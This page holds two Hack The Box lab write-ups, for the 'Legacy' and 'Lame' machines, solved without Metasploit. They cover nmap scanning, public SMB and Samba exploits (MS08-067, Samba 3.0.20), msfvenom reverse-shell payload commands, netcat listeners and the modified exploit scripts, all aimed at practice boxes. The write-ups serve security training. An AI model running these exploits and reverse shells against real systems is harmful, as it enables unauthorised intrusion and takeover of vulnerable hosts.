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Category: Hack The Box

HTB Writeup: Legacy w/o Metasploit

Published by Bobby Lin on April 6, 2021

Overview

Recon

Quick Scan:

sudo nmap -sC -sV -O -oN nmap/quickscan.txt 10.129.125.96

Two services are identified:
1. netbios-ssn (port:445, likely to be SMB)
2. microsoft-ds

According to the scan result, the victim box is likely to be Microsoft Windows XP SP3 (94%) or Microsoft Windows Server 2003 SP1 or SP2 (92%).

nmap results

Enumeration

We can use nmap to check if the machine is vulnerable to any public CVEs.

locate *.nse | grep smb

Run the script to check the vulnerabilities.

sudo nmap –script smb-vuln* -p 445 -oN nmap/smb_vulns.txt <victim box IP addr>

We can also google for exploit relating to Windows XP SP3 and SMB.

From our enumeration, we can try these two exploits:
1. MS08-067
2. MS17-010

Exploit

MS08-067

Convert this script to python3: https://raw.githubusercontent.com/andyacer/ms08_067/master/ms08_067_2018.py

Start the netcat listener:

nc -nlvp 443

Get Local Machine IP:

ip addr | grep tun0

Generate the shellcode using msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL MACHINE IP> LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows

Copy the shellcode to exploit.py script.

Run the exploit script (make sure you have pip3 install impacket).

Remember that the machine is Windows XP and likely to be SP3. So let’s choose choice 6.

python3 exploit.py <VICTIM BOX IP ADDR> 6 445

There will be a callback on the listener:

The root.txt is in the Desktop folder.

Reflections on the lab

It took me days to achieve a successful exploit. One of the reason is that I was spending two days on debugging python2 exploit scripts for MS17-010 (eternalblue). There is some issue in using pip2 to install impacket. Therefore I targeted MS08-067 instead.

  • If you are stuck with debugging issue, you need to time-box and move on. You can revisit the issue in the future. Eternalblue is one of the famous NSA exploit. I will definitely need to figure out how to fix the issues when running the exploit script.
  • I confused LHOST as the IP address of the victim box. Instead I should remember that LHOST is the IP address of the local VM.
  • You can enumerate issue using nmap as well and not just with searchsploit.
  • Convert python2 scripts to python3 scripts with online tool such as this.

HTB Writeup: Lame w/o Metasploit

Published by Bobby Lin on April 4, 2021

Overview

  • Run two nmap scans to determine the open ports, services and OS.
  • Based on the discovered information, search for possible exploits.
  • Look for exploits scripts for each service versions for gaining root.
  • Test the exploits to see if the discovered services are exploitable.

Recon

nmap options

  • -O <Enable OS detection
  • -sC <Run default scripts>
  • -sV <Probe open ports to determine service/version info>
  • -oA <Output to all format>
  • -p- <Scan all ports>

Quick scan

sudo nmap -sC -sV -O -oA quickscan 10.10.10.3

Full scan

sudo nmap -p- -sC -sV -O -oA fullscan 10.10.10.3

We can see there is an additional service that is not discovered by the quick scan


Enumeration

We discovered five attack surfaces from our port scanning results. They are:

  1. ftp (port:21, version: vsftpd 2.3.4)
  2. ssh (port:22, version:OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0))
  3. netbios-ssn (port:139, version:Samba smbd 3.X – 4.X (workgroup: WORKGROUP))
  4. netbios-ssn (port:445, version:Samba smbd 3.0.20-Debian (workgroup: WORKGROUP))
  5. distccd (port:3632, version: distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

FTP

One convenient way of checking if the service version has an exploit is to use the searchsploit tool in Kali Linux. Here we can see that this particular FTP version has a reported exploit.

We can try googling for a python exploit. I found this in github:

https://github.com/ahervias77/vsftpd-2.3.4-exploit/blob/master/vsftpd_234_exploit.py

However, when I executed the script, the exploit was not successful. The script was stuck and did not progress further.

SSH

There were a few user enumeration attack on SSH. This usually takes time and we can come back if the other services are not exploitable.

Samba

This particular version of Samba has exploit available.

I found an exploit script in Python: https://github.com/macha97/exploit-smb-3.0.20/blob/master/exploit-smb-3.0.20.py

You will need to update the script by following the steps below:

  • Get your LHOST:ip addr|grep tun0
  • Generate the reverse netcat buffer payload:msfvenom -p cmd/unix/reverse_netcat LHOST=<Your LHOST> LPORT=<Specify any port> -f python
  • Replace line 8 to 15 with the generated payload from msfvenom.
  • Update victim IP to the box IP address.
  • Remove line 1.
  • Install pysmb: pip install pysmb

Exploit

Samba

  • Start netcat: nc -nlvp 1337
  • Run the exploit: python3 exploit-smb-3.0.20.py

Now can run command now to get the FLAG in as the root user.


Reflections on the lab

This was the first lab that I have completed in Hack The Box (HTB). I learned a few things here:

  • This is abit different from purely web application hacking that I am more familiar with. You need to perform recon and systematically enumerate the services.
  • You need to know how to look for exploits, modifying and debugging the scripts that you found online.
  • You need to know some tools such as msfvenom, netcat and python etc.
  • Also port scanning needs to be thorough in order to discover more services that the quick scan does not find.